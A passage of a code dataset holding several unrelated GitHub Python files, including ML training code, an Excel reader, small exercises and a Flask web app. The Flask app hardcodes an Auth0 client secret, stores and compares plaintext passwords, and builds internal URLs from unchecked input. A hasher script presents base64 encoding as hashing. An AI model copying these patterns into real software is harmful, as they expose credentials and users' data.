\"useful\"].max()]\n return self.get_review_content(data.iloc[0][\"review_id\"])\n","repo_name":"Crepdo/Yelp_Review_Visualization","sub_path":"backend/arts_project/GetBoxPlotData.py","file_name":"GetBoxPlotData.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4899921495","text":"\r\nimport base64\r\nimport uuid\r\n\r\nsalt = uuid.uuid4().hex\r\ntext = input(\"Enter text to be Hashed : \")\r\ntextthashed = text + \" \" + salt\r\nhashed_bytes = textthashed.encode('ascii')\r\nbase64_bytes = base64.b64encode(hashed_bytes)\r\nbase64_bytes2 = base64.b64decode(base64_bytes)\r\n\r\n\r\nprint(\"Hash (You can share it.) \" + str(base64_bytes))\r\nprint(\"You will get your text separated by spaces. \\n original text Salt\")\r\nprint(\"Decrypted \" + str(base64_bytes2))\r\n","repo_name":"surajkr1/Hasher","sub_path":"hasher.py","file_name":"hasher.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"580327479","text":"import os\nimport numpy as np\nfrom keras.callbacks import ModelCheckpoint,TensorBoard,CSVLogger,EarlyStopping,ReduceLROnPlateau\nfrom keras.models import model_from_json\nfrom dataGenerator import custom_image_generator, val_datagenerator, no_aug_generator\nfrom keras.optimizers import Adadelta, Adam, SGD\nfrom metrics import *\nfrom losses import * \nfrom util.util import *\nimport tensorflow as tf\nfrom models.models import *\nimport lovasz_losses_tf as L\nimport segmentation_models as sm\n# from tensorflow.keras.metrics import MeanIoU, Precision, Recall, BinaryAccuracy\n\n########################### Helper functions ###############################################\n\ndef get_callbacks(weights_path, model_path, patience_lr):\n\n logdir = os.path.join(model_path,'log')\n tensorboard = TensorBoard(log_dir=logdir, histogram_freq=0,\n write_graph=True, write_images=True)\n reduce_lr_loss = ReduceLROnPlateau(factor=0.6)\n if weights_path:\n mcp_save = ModelCheckpoint(weights_path, save_best_only=False)\n return [mcp_save, reduce_lr_loss, tensorboard]\n return [reduce_lr_loss, tensorboard]\n\ndef helper_pred(model, X_true, Y_true, opt):\n model.compile(loss='binary_crossentropy', metrics=[iou_label(),per_pixel_acc(),accuracy(),recall_m, precision_m, f1_m], optimizer=Adam(1e-4))\n # multi-band\n if '3b' in opt.ckpt_name or opt.use_gradient==1:\n print('use_gradient==True')\n (X_true, Y_true) = val_datagenerator(X_true, Y_true, opt.use_gradient)\n score = model.evaluate(X_true, Y_true) \n Y_pred = model.predict(X_true)\n print('shape for skelentonize',Y_pred.shape, Y_true.shape)\n print('***********TEST RESULTS, write to output.txt*************')\n print('result_path',opt.model_path)\n print('epoch: %d'%opt.n_epoch)\n \n message = ''\n for j in range(len(model.metrics_names)):\n message += \"%s: %.2f%% \\n\" % (model.metrics_names[j], score[j]*100)\n # centerline accuracy\n # message += \"centerlineAccuracy: %.2f%% \\n\" %(centerline_acc(Y_true, Y_pred)*100)\n print(message)\n \n with open(opt.model_path+'/output_%s.txt'%opt.n_epoch, 'wt') as opt_file:\n opt_file.write(message)\n \n print('********************SAVE RESULTS ************************')\n result_dir = opt.result_path + '/epoch%s/'%opt.n_epoch\n mkdir(result_dir)\n np.save(result_dir + 'pred_labels.npy', Y_pred) \n \n return Y_pred\n\ndef choose_model(opt):\n dim = opt.dim\n learn_rate = opt.lr\n lmbda = opt.lmbda\n drop = opt.dropout\n FL = opt.filter_length\n num_filters = opt.num_filters\n init = opt.weight_init\n input_channel = opt.input_channel\n \n # different model and loss function\n if opt.model == 'unet':\n if opt.loss == 'L': # lovasz loss\n model = unet(input_channel, learn_rate, num_filters, None)\n else:\n model = unet(input_channel, learn_rate, num_filters)\n\n elif opt.model == 'unet_rgl':\n if opt.loss == 'L':\n model = unet_rgl(input_channel, learn_rate, num_filters, None)\n else:\n model = unet_rgl(input_channel, learn_rate, num_filters)\n \n elif opt.model == 'resnet':\n model = sm.Unet('resnet34', input_shape=(128, 128, 1), encoder_weights=None, classes=1, activation='sigmoid')\n model.compile(loss='binary_crossentropy', metrics=[\n iou_label(), per_pixel_acc(), accuracy()], optimizer=Adam(learn_rate))\n else:\n if opt.loss == 'L':\n model = unet_shirui(input_channel, lmbda, drop, init, num_filters, None, learn_rate) # L\n else:\n model = unet_shirui(input_channel, lmbda, drop, init, num_filters, 'sigmoid',learn_rate)\n \n# elif opt.loss == 'cce':\n# model = unet(1,(dim,dim,input_channel),'relu','softmax') \n# else:\n# model = unet(1,(dim,dim,input_channel),'elu',None) \n\n return model\n\ndef find_weight_dir(opt):\n weights = os.listdir(opt.model_path)\n for name in weights:\n if 'weights' in name:\n epoch = name.split('.')[1].split('-')[0]\n if int(epoch) == opt.n_epoch:\n print(epoch,name)\n return os.path.join(opt.model_path,name)\n continue\n \n##############################################################################################################\n\ndef train_model(Data, opt):\n dim = opt.dim\n n_epoch = opt.n_epoch\n bs = opt.batch_size\n use_gradient = opt.use_gradient\n \n model = choose_model(opt) # choose model based on options\n \n \"\"\" save model: model.json \"\"\"\n weights_path = None \n if opt.save_model:\n weights_path = opt.model_path +'/weights.{epoch:02d}-{val_loss:.4f}-{val_iou:.4f}.hdf5'\n \n model_json = model.to_json()\n with open(opt.model_path+\"/model.json\", \"w\") as json_file:\n json_file.write(model_json)\n \n callbacks = get_callbacks(weights_path, opt.model_path, 5)\n \n \"\"\"save data to disk as npy\"\"\"\n np.save(opt.result_path + '/inputs.npy', Data['test'][0])\n np.save(opt.result_path + '/gt_labels.npy', Data['test'][1])\n \n \"\"\"Fit data/generator to model\"\"\"\n n_train, n_test, n_val = len(Data['train'][0]), len(Data['test'][0]), len(Data['val'][0])\n \n model.fit_generator(\n # no_aug_generator(Data['train'][0], Data['train'][1],bs, use_gradient),\n custom_image_generator(Data['train'][0], Data['train'][1], bs, use_gradient),\n steps_per_epoch= n_train//bs, epochs=n_epoch, verbose=1,\n validation_data=(Data['val'][0], Data['val'][1]),\n # validation_data=val_datagenerator(Data['val'][0], Data['val'][1], use_gradient), # no gen\n validation_steps= n_val,\n callbacks=callbacks)\n \n \n print('***********FINISH TRAIN & START TESTING******************')\n X_true, Y_true = Data['test'][0], Data['test'][1]\n \n Y_pred = helper_pred(model, X_true, Y_true, opt)\n return X_true, Y_true, Y_pred\n\ndef test_model(opt):\n \n json_path = opt.model_path + '/model.json'\n json_file = open(json_path, 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n \n #load model and weights\n weight_dir = find_weight_dir(opt)\n # weight_dir = os.path.join(opt.model_path,'weights.111-0.0828-0.2607.hdf5')\n print('load weight from:', weight_dir)\n model = model_from_json(loaded_model_json) # for segnet: custom_objects = {'MaxPoolingWithArgmax2D': MaxPoolingWithArgmax2D, 'MaxUnpooling2D':MaxUnpooling2D})\n model.load_weights(weight_dir)\n \n learn_rate = opt.lr\n optimizer = Adam(lr=learn_rate)\n \n if opt.loss=='bce':\n model.compile(loss='binary_crossentropy', metrics=[iou_label(),per_pixel_acc(),accuracy(),recall_m, precision_m, f1_m], optimizer=optimizer)\n elif opt.loss=='cce':\n model.compile(loss=sparse_softmax_cce, metrics=[iou_label(),per_pixel_acc(),accuracy()], optimizer=optimizer)\n else:\n model.compile(loss=L.lovasz_loss, metrics=[iou_label(threshold=0),per_pixel_acc(threshold=0),accuracy(threshold=0)], optimizer=optimizer)\n \n model.summary()\n \n print('***********FINISH TRAIN & START TESTING******************')\n X_true = np.load(opt.result_path + '/inputs.npy')\n Y_true = np.load(opt.result_path + '/gt_labels.npy') \n print(X_true.shape, Y_true.shape)\n \n Y_pred = helper_pred(model, X_true, Y_true, opt)\n \n return X_true, Y_true, Y_pred\n \n\n","repo_name":"Chen-Yifan/DEM_segmentation","sub_path":"define_model.py","file_name":"define_model.py","file_ext":"py","file_size_in_byte":7513,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"33820474643","text":"#! /usr/bin/env python3\n\nimport os\nimport time\n\nimport psutil\n\ndef sample_usage(f):\n now = time.time()\n total = 0\n samples = 0\n while time.time() - now < 1:\n f()\n total += psutil.cpu_percent()\n samples += 1\n return total / samples * psutil.cpu_count()\n\nbaseline = sample_usage(lambda: time.sleep(0.1))\nelevated = sample_usage(lambda: [i for i in range(200_000)])\n\nprint(f'usage: {elevated - baseline:.2f}%')\n","repo_name":"dansgithubuser/playground","sub_path":"programs/docker/constraints/use_cpu.py","file_name":"use_cpu.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"6564837727","text":"from jwt import decode, InvalidTokenError\r\nfrom jwt import encode\r\nfrom uuid import uuid4\r\nfrom flask import Flask,session\r\nfrom flask import request, Response\r\nfrom flask import redirect\r\nfrom flask import render_template\r\nfrom flask import make_response\r\nimport os\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nimport datetime\r\nimport requests\r\nimport json\r\nfrom flask import send_file\r\nfrom authlib.flask.client import OAuth\r\nfrom six.moves.urllib.parse import urlencode\r\nfrom functools import wraps\r\nfrom dotenv import load_dotenv\r\nload_dotenv(verbose=True)\r\n\r\n\r\ndef requires_auth(f):\r\n @wraps(f)\r\n def decorated(*args, **kwargs):\r\n session_id = request.cookies.get('session_id')\r\n if not db.session.query(db.exists().where(Session.session == session_id)).scalar():\r\n return redirect('/login')\r\n return f(*args, **kwargs)\r\n return decorated\r\n\r\nSESSION_TIME=300\r\n\r\napp = Flask(__name__)\r\napp.config[\"SECRET_KEY\"]=os.getenv('SECRET_KEY')\r\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///app.sqlite\"\r\ndb = SQLAlchemy(app)\r\noauth = OAuth(app)\r\n\r\n\r\nauth0 = oauth.register(\r\n 'auth0',\r\n client_id='fsnqPLmYr90AjRI3VvcW75HD5pQvNX42',\r\n client_secret='TosKiBpDxUIYrkZanIIEc0nQ8SngHk1FqQveyfHLecgfiGqaPYjwtUNZeNHtk8kF',\r\n api_base_url='https://web1337.eu.auth0.com',\r\n access_token_url='https://web1337.eu.auth0.com/oauth/token',\r\n authorize_url='https://web1337.eu.auth0.com/authorize',\r\n client_kwargs={\r\n 'scope': 'openid profile email',\r\n },\r\n)\r\n\r\nclass User(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n login = db.Column(db.String, unique=True, nullable=False)\r\n password = db.Column(db.String, nullable=False)\r\n\r\nclass Session(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n session = db.Column(db.String)\r\n session_time = db.Column(db.String)\r\n login = db.Column(db.String)\r\n\r\ndb.create_all()\r\n\r\n\r\nINVALIDATE = -1\r\nJWT_SECRET=os.getenv('JWT_SECRET')\r\nJWT_SESSION_TIME=30\r\nHTML = \"\"\"\r\n\"\"\"\r\n\r\n@app.route('/callback')\r\ndef callback_handling():\r\n # Handles response from token endpoint\r\n auth0.authorize_access_token()\r\n resp = auth0.get('userinfo')\r\n userinfo = resp.json()\r\n\r\n # Store the user information in flask session.\r\n session_id = str(uuid4())\r\n db.session.add(Session(session=session_id,login=userinfo['name']))\r\n db.session.commit()\r\n response = make_response('proceed to login', 303)\r\n response.set_cookie(\"session_id\", session_id, max_age=SESSION_TIME)\r\n response.headers[\"Location\"] = \"/\"\r\n \r\n return response\r\n\r\n@app.route('/')\r\n@requires_auth\r\ndef index():\r\n return redirect('/welcome')\r\n\r\n@app.route('/login')\r\ndef login():\r\n session_id = request.cookies.get('session_id')\r\n return f\"\"\"{HTML}\r\n \t

    APP

    \r\n \t
    \"\"\"\r\n\r\n@app.route('/loginauth')\r\ndef loginauth():\r\n return auth0.authorize_redirect(redirect_uri='http://localhost:5000/callback')\r\n\r\n\r\n\r\n@app.route('/auth', methods=['POST'])\r\ndef auth():\r\n login = request.form.get('login')\r\n password = request.form.get('password')\r\n response = make_response('proceed to login', 303)\r\n if db.session.query(db.exists().where(User.login == login).where(User.password==password)).scalar():\r\n session_id = str(uuid4())\r\n db.session.add(Session(session=session_id,login=login))\r\n db.session.commit()\r\n response.set_cookie(\"session_id\", session_id, max_age=SESSION_TIME)\r\n response.headers[\"Location\"] = \"/welcome\"\r\n else:\r\n response.set_cookie(\"session_id\", \"INVALIDATE\", max_age=INVALIDATE)\r\n response.headers[\"Location\"] = \"/login\"\r\n return response\r\n\r\n@app.route('/logout')\r\n@requires_auth\r\ndef logout():\r\n session_id = request.cookies.get('session_id')\r\n Session.query.filter_by(session=session_id).delete()\r\n response = redirect(\"/login\")\r\n response.set_cookie(\"session_id\", \"INVALIDATE\", max_age=INVALIDATE)\r\n return response\r\n\r\n@app.route('//status')\r\n@requires_auth\r\ndef status(user):\r\n resp = requests.get('http://jwt:5000/'+user+'/status')\r\n return json.dumps(resp.text)\r\n\r\n@app.route('/welcome')\r\n@requires_auth\r\ndef welcome():\r\n session_id = request.cookies.get('session_id')\r\n if session_id:\r\n if db.session.query(db.exists().where(Session.session == session_id)).scalar():\r\n col=db.session.query(Session).filter_by(session=session_id).first()\r\n login=col.login\r\n resp = requests.get('http://jwt:5000/'+login)\r\n download_token = create_download_token(login).decode('ascii')\r\n upload_token = create_upload_token().decode('ascii')\r\n js = json.loads(resp.text)\r\n\r\n return render_template('layout.html',user=login,publications=js['publications'])\r\n return redirect(\"/login\")\r\n\r\n@app.route('/upload', methods=['POST'])\r\n@requires_auth\r\ndef upload():\r\n f = request.files.get('file')\r\n user = request.form.get('user')\r\n author = request.form.get('author')\r\n title = request.form.get('title')\r\n year = request.form.get('year')\r\n upload_token = create_upload_token()\r\n s = requests.Session()\r\n x=s.post('http://jwt:5000/upload',files={'file':(f.filename,f)},params={\r\n 'user':user,\r\n 'token':upload_token,\r\n 'author' : author,\r\n 'title' : title,\r\n 'year' : year\r\n })\r\n return redirect('/welcome')\r\n\r\n@app.route('/download', methods=['POST'])\r\n@requires_auth\r\ndef download():\r\n f = request.form.get('file')\r\n user = request.form.get('user')\r\n token = create_download_token(user)\r\n s = requests.Session()\r\n x=s.get('http://jwt:5000/'+user+'/'+f,params={\r\n 'token':token}\r\n )\r\n contentType = x.headers['content-type']\r\n resp = Response(x.content, content_type=contentType)\r\n return resp\r\n\r\n@app.route('/downloadref', methods=['POST'])\r\n@requires_auth\r\ndef downloadref():\r\n f = request.form.get('file')\r\n user = request.form.get('user')\r\n id = request.form.get('id')\r\n token = create_download_token(user)\r\n s = requests.Session()\r\n x=s.get('http://jwt:5000/'+user+'/'+id+'/'+f,params={\r\n 'token':token}\r\n )\r\n contentType = x.headers['content-type']\r\n resp = Response(x.content, content_type=contentType)\r\n return resp\r\n\r\n@app.route('/uploadref', methods=['POST'])\r\n@requires_auth\r\ndef uploadref():\r\n f = request.files.get('file')\r\n user = request.form.get('user')\r\n id = request.form.get('id')\r\n s = requests.Session()\r\n x=s.post('http://jwt:5000/'+user+'/'+str(id),files={'file':(f.filename,f)}\r\n )\r\n return redirect('/welcome')\r\n\r\n\r\n@app.route('/delete', methods=['POST'])\r\n@requires_auth\r\ndef delete():\r\n f = request.form.get('resource')\r\n user = request.form.get('user')\r\n s = requests.Session()\r\n x=s.delete('http://jwt:5000/'+user+'/'+f\r\n )\r\n return redirect('/welcome')\r\n\r\n@app.route('/deleteref', methods=['POST'])\r\n@requires_auth\r\ndef deleteref():\r\n f = request.form.get('resource')\r\n user = request.form.get('user')\r\n id = request.form.get('id')\r\n s = requests.Session()\r\n x=s.delete('http://jwt:5000/'+user+'/'+id+'/'+f\r\n )\r\n return redirect('/welcome')\r\n\r\n\r\ndef create_download_token(user):\r\n exp = datetime.datetime.utcnow() + datetime.timedelta(seconds=JWT_SESSION_TIME)\r\n return encode({\r\n \t \"iss\":\"web\",\r\n \"user\":user,\r\n \t \"exp\":exp},\r\n JWT_SECRET, \"HS256\")\r\n\r\n\r\ndef create_upload_token():\r\n exp = datetime.datetime.utcnow() + datetime.timedelta(seconds=JWT_SESSION_TIME)\r\n return encode({\r\n \t\"iss\":\"web\",\r\n \"exp\":exp},\r\n JWT_SECRET, \"HS256\")","repo_name":"Pyrrun/publications_web_app","sub_path":"web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"38911404555","text":"class Solution:\n def hammingDistance(self, x: int, y: int) -> int:\n xor = x ^ y\n distance = 0\n while xor:\n # mask out the rest bits\n if xor & 1:\n distance += 1\n xor = xor >> 1\n return distance","repo_name":"Kiana58/Leetcode_k","sub_path":"hamming-distance/hamming-distance.py","file_name":"hamming-distance.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23457472964","text":"\"\"\"\nSpreadsheet Support\n+++++++++++++++++++++++++++++++++++++++\n\n.. autosummary::\n\n ~ExcelDatabaseFileBase\n ~ExcelDatabaseFileGeneric\n ~ExcelReadError\n\"\"\"\n\nimport math\nimport pathlib\nfrom collections import OrderedDict\n\nimport openpyxl\nimport openpyxl.utils.exceptions\n\nfrom . import to_unicode_or_bust\n\n\nclass ExcelReadError(openpyxl.utils.exceptions.InvalidFileException):\n \"\"\"\n Exception when reading Excel spreadsheet.\n\n .. index:: apstools Exception; ExcelReadError\n \"\"\"\n\n\nclass ExcelDatabaseFileBase(object):\n \"\"\"\n base class: read-only support for Excel files, treat them like databases\n\n .. index:: apstools Utility; ExcelDatabaseFileBase\n\n Use this class when creating new, specific spreadsheet support.\n\n EXAMPLE\n\n Show how to read an Excel file where one of the columns\n contains a unique key. This allows for random access to\n each row of data by use of the *key*.\n\n ::\n\n class ExhibitorsDB(ExcelDatabaseFileBase):\n '''\n content for exhibitors from the Excel file\n '''\n EXCEL_FILE = pathlib.Path(\"resources\") / \"exhibitors.xlsx\"\n LABELS_ROW = 2\n\n def handle_single_entry(self, entry):\n '''any special handling for a row from the Excel file'''\n pass\n\n def handleExcelRowEntry(self, entry):\n '''identify unique key (row of the Excel file)'''\n key = entry[\"Name\"]\n self.db[key] = entry\n\n \"\"\"\n\n EXCEL_FILE = None # subclass MUST define\n # EXCEL_FILE = pathlib.Path(\"abstracts\") / \"index of abstracts.xlsx\"\n LABELS_ROW = 3 # labels are on line LABELS_ROW+1 in the Excel file\n\n def __init__(self, ignore_extra=True):\n self.db = OrderedDict()\n self.data_labels = None\n if self.EXCEL_FILE is None:\n raise ValueError(\"subclass must define EXCEL_FILE\")\n self.fname = pathlib.Path(\".\") / self.EXCEL_FILE\n\n self.sheet_name = 0\n\n self.parse(ignore_extra=ignore_extra)\n\n def handle_single_entry(self, entry): # subclass MUST override\n # fmt: off\n raise NotImplementedError(\n \"subclass must override handle_single_entry() method\"\n )\n # fmt: on\n\n def handleExcelRowEntry(self, entry): # subclass MUST override\n # fmt: off\n raise NotImplementedError(\n \"subclass must override handleExcelRowEntry() method\"\n )\n # fmt: on\n\n def parse(\n self,\n labels_row_num=None,\n data_start_row_num=None,\n ignore_extra=True,\n ):\n labels_row_num = labels_row_num or self.LABELS_ROW\n try:\n wb = openpyxl.load_workbook(self.fname)\n ws = wb.worksheets[self.sheet_name]\n if ignore_extra:\n # ignore data outside of table in spreadsheet file\n data = list(ws.rows)[labels_row_num:]\n self.data_labels = []\n for c in data[0]:\n if c.value is None:\n break\n self.data_labels.append(c.value)\n rows = []\n for r in data[1:]:\n if r[0].value is None:\n break\n rows.append(r[: len(self.data_labels)])\n else:\n # use the whole sheet\n rows = list(ws.rows)\n # create the column titles\n # fmt: off\n self.data_labels = [\n f\"Column_{i+1}\" for i in range(len(rows[0]))\n ]\n # fmt: on\n except openpyxl.utils.exceptions.InvalidFileException as exc:\n raise ExcelReadError(exc)\n for row in rows:\n entry = OrderedDict()\n for _col, label in enumerate(self.data_labels):\n entry[label] = row[_col].value\n self.handle_single_entry(entry)\n self.handleExcelRowEntry(entry)\n\n def _getExcelColumnValue(self, row_data, col):\n v = row_data[col]\n if self._isExcel_nan(v):\n v = None\n else:\n v = to_unicode_or_bust(v)\n if isinstance(v, str):\n v = v.strip()\n return v\n\n def _isExcel_nan(self, value):\n if not isinstance(value, float):\n return False\n return math.isnan(value)\n\n\nclass ExcelDatabaseFileGeneric(ExcelDatabaseFileBase):\n \"\"\"\n Generic (read-only) handling of Excel spreadsheet-as-database\n\n .. index:: apstools Utility; ExcelDatabaseFileGeneric\n .. index:: Excel scan, scan; Excel\n\n .. note:: This is the class to use when reading Excel spreadsheets.\n\n In the spreadsheet, the first sheet should contain the table to be\n used. By default (see keyword parameter ``labels_row``), the table\n should start in cell A4. The column labels are given in row 4. A\n blank column should appear to the right of the table (see keyword\n parameter ``ignore_extra``). The column labels will describe the\n action and its parameters. Additional columns may be added for\n metadata or other purposes.\n\n The rows below the column labels should contain actions and\n parameters for those actions, one action per row.\n\n To make a comment, place a ``#`` in the action column. A comment\n should be ignored by the bluesky plan that reads this table. The\n table will end with a row of empty cells.\n\n While it's a good idea to put the ``action`` column first, that is\n not necessary. It is not even necessary to name the column\n ``action``. You can re-arrange the order of the columns and change\n their names **as long as** the column names match what text strings\n your Python code expects to find.\n\n A future upgrade [#]_ will allow the table boundaries to be named by\n Excel when using Excel's ``Format as Table`` [#]_ feature. For now,\n leave a blank row and column at the bottom and right edges of the\n table.\n\n .. [#] https://github.com/BCDA-APS/apstools/issues/122\n .. [#] Excel's ``Format as Table``:\n https://support.office.com/en-us/article/Format-an-Excel-table-6789619F-C889-495C-99C2-2F971C0E2370\n\n PARAMETERS\n\n filename\n *str* :\n name (absolute or relative) of Excel spreadsheet file\n labels_row\n *int* :\n Row (zero-based numbering) of Excel file with column labels,\n default: ``3`` (Excel row 4)\n ignore_extra\n *bool* :\n When ``True``, ignore any cells outside of the table, default:\n ``True``.\n\n Note that when ``True``, a row of cells *within* the table will\n be recognized as the end of the table, even if there are\n actions in following rows. To force an empty row, use\n a comment symbol ``#`` (actually, any non-empty content will work).\n\n When ``False``, cells with other information (in Sheet 1) will\n be made available, sometimes with unpredictable results.\n\n EXAMPLE\n\n See section :ref:`example_run_command_file` for more examples.\n\n (See also :ref:`example screen shot\n `.) Table (on Sheet 1) begins on row\n 4 in first column::\n\n 1 | some text here, maybe a title\n 2 | (could have content here)\n 3 | (or even more content here)\n 4 | action | sx | sy | sample | comments | | <-- leave empty column\n 5 | close | | | close the shutter | |\n 6 | image | 0 | 0 | dark | dark image | |\n 7 | open | | | | open the shutter | |\n 8 | image | 0 | 0 | flat | flat field image | |\n 9 | image | 5.1 | -3.2 | 4140 steel | heat 9172634 | |\n 10 | scan | 5.1 | -3.2 | 4140 steel | heat 9172634 | |\n 11 | scan | 0 | 0 | blank | | |\n 12 |\n 13 | ^^^ leave empty row ^^^\n 14 | (could have content here)\n\n\n\n Example python code to read this spreadsheet::\n\n from apstools.utils import ExcelDatabaseFileGeneric, cleanupText\n\n def myExcelPlan(xl_file, md={}):\n excel_file = pathlib.Path(xl_file).absolute()\n xl = ExcelDatabaseFileGeneric(excel_file)\n for i, row in xl.db.values():\n # prepare the metadata\n _md = {cleanupText(k): v for k, v in row.items()}\n _md[\"xl_file\"] = xl_file\n _md[\"excel_row_number\"] = i+1\n _md.update(md) # overlay with user-supplied metadata\n\n # determine what action to take\n action = row[\"action\"].lower()\n if action == \"open\":\n yield from bps.mv(shutter, \"open\")\n elif action == \"close\":\n yield from bps.mv(shutter, \"close\")\n elif action == \"image\":\n # your code to take an image, given **row as parameters\n yield from my_image(**row, md=_md)\n elif action == \"scan\":\n # your code to make a scan, given **row as parameters\n yield from my_scan(**row, md=_md)\n else:\n print(f\"no handling for row {i+1}: action={action}\")\n\n # execute this plan through the RunEngine\n RE(myExcelPlan(\"spreadsheet.xlsx\", md=dict(purpose=\"apstools demo\"))\n\n \"\"\"\n\n def __init__(self, filename, labels_row=3, ignore_extra=True):\n self._index_ = 0\n self.EXCEL_FILE = self.EXCEL_FILE or filename\n self.LABELS_ROW = labels_row\n ExcelDatabaseFileBase.__init__(self, ignore_extra=ignore_extra)\n\n def handle_single_entry(self, entry):\n pass\n\n def handleExcelRowEntry(self, entry):\n \"\"\"use row number as the unique key\"\"\"\n key = str(self._index_)\n self.db[key] = entry\n self._index_ += 1\n\n\n# -----------------------------------------------------------------------------\n# :author: Pete R. Jemian\n# :email: jemian@anl.gov\n# :copyright: (c) 2017-2023, UChicago Argonne, LLC\n#\n# Distributed under the terms of the Argonne National Laboratory Open Source License.\n#\n# The full license is in the file LICENSE.txt, distributed with this software.\n# -----------------------------------------------------------------------------\n","repo_name":"BCDA-APS/apstools","sub_path":"apstools/utils/spreadsheet.py","file_name":"spreadsheet.py","file_ext":"py","file_size_in_byte":10400,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"2"} +{"seq_id":"8597296870","text":"from typing import List\n\nclass Solution:\n # simple, but slow, O(n)\n def fixedPointLinear(self, arr: List[int]) -> int:\n for i in range(len(arr)):\n if i == arr[i]:\n return i\n return -1\n\n # O(log n), clever idea\n def fixedPoint(self, arr: List[int]) -> int:\n lo = 0\n hi = len(arr) - 1\n\n lowest = len(arr)\n\n while lo <= hi:\n i = (lo + hi) // 2\n if arr[i] < i:\n lo = i + 1\n elif arr[i] > i:\n hi = i - 1\n else:\n lowest = min(lowest, i)\n # can still have a lower fixed point, so keep checking left\n hi = i - 1\n\n if lowest == len(arr):\n return -1\n return lowest\n\ns = Solution()\ncases = [([-10,-5,0,3,7], 3),\n ([0,2,5,8,17], 0),\n ([-10,-5,3,4,7,9], -1),\n ([-10,-5,-2,0,4,5,6,7,8,9,10], 4)]\n\nfor case, expected in cases:\n assert s.fixedPointLinear(case) == expected\n assert s.fixedPoint(case) == expected\n","repo_name":"shurane/problems","sub_path":"leetcode/fixed-point.py","file_name":"fixed-point.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32486788839","text":"def add(a,b):\n g = a+b\n return g\n\ndef facto(a,b):\n result = 1\n g = add(a,b)\n while g > 0:\n result = result * g\n g = g -1\n print('factorial of {} is {}.'.format(add(a,b),result))\n\nfact(10,5)\n","repo_name":"yogigadhe1803/pytprograms","sub_path":"add_func.py","file_name":"add_func.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4850724045","text":"S = input()\r\n\r\nstr_dict = {\"dream\":5,\"dreamer\":7,\"erase\":5,\"eraser\":6}\r\n\r\ncount = 0\r\nwhile count < 4:\r\n for key, value in str_dict.items():\r\n count += 1\r\n if key == (S[-value:]):\r\n S = S[:-value]\r\n count = 0\r\n\r\nif S == \"\":\r\n print(\"YES\")\r\nelse:\r\n print(\"NO\")\r\n ","repo_name":"hukuhuku/atcoder","sub_path":"practice/abc049c.py","file_name":"abc049c.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36860919738","text":"# Exercicio 69\n\n# 069: Crie um programa que leia a idade e o sexo de várias pessoas. \n# A cada pessoa cadastrada, o programa deverá perguntar se o usuário quer ou não continuar. \n# No final, mostre:\n# A) quantas pessoas tem mais de 18 anos.\n# B) quantos homens foram cadastrados.\n# C) quantas mulheres tem menos de 20 anos.\n\nprint('-' * 30)\nprint('CADASTRE UMA PESSOA')\nprint('-' * 30)\n\nask = 'S'\ncount = count1 = count2 = 0\n\nwhile True:\n idade = int(input('Idade: '))\n sexo = ' '\n while sexo not in 'FM':\n sexo = input('Sexo [F/M]: ').strip().upper()\n print('-' * 30)\n if idade >= 18:\n count += 1\n if sexo == 'M':\n count1 += 1\n if sexo == 'F' and idade < 20:\n count2 += 1\n ask = ' '\n while ask not in 'SN':\n ask = input('Deseja continuar? [S/N]: ').strip().upper()\n if ask == 'N':\n break\nprint(f'{count} pessoas são maiores de 18 anos, existe {count1} homens cadastrados e {count2} mulheres com menos de 20 anos.')\n\n\n\n\n\n\n\n","repo_name":"simonesenechal/python-codes-2","sub_path":"Exerc.69.py","file_name":"Exerc.69.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"18963612679","text":"from collections import deque\r\n\r\n\r\ndef solution(bridge_length, weight, truck_weights):\r\n queue = deque(truck_weights)\r\n bridge = deque([0 for _ in range(bridge_length)])\r\n time, bridge_weight = 0, 0\r\n\r\n while len(queue) or bridge_weight > 0:\r\n time += 1\r\n truck_del = bridge.popleft()\r\n bridge_weight -= truck_del\r\n\r\n if len(queue) and bridge_weight + queue[0] <= weight:\r\n truck_add = queue.popleft()\r\n bridge_weight += truck_add\r\n bridge.append(truck_add)\r\n else:\r\n bridge.append(0)\r\n\r\n return time","repo_name":"keumbong/Programmers_Lv2_Python","sub_path":"다리를 지나는 트럭.py","file_name":"다리를 지나는 트럭.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71433713008","text":"#!/usr/bin/env python3\nfrom unittest import TestCase\nfrom FizzBuzzQuiz import FizzBuzzer\n\nclass testFizzBuzz(TestCase):\n\n def testDefaultValue(self):\n x= FizzBuzzer()\n self.assertEqual(x.number,0,\"checks to see if default number is set to 0\")\n \n def testNext(self):\n x= FizzBuzzer()\n self.assertEqual(x.next(), \"1\", \"returns the string \\'1\\' \")\n x= FizzBuzzer(2)\n self.assertEqual(x.next(),\"fizz\", \"returns fizz because 3 is divisble by 3\")\n self.assertEqual(x.next(),\"4\",\"returns 4 because 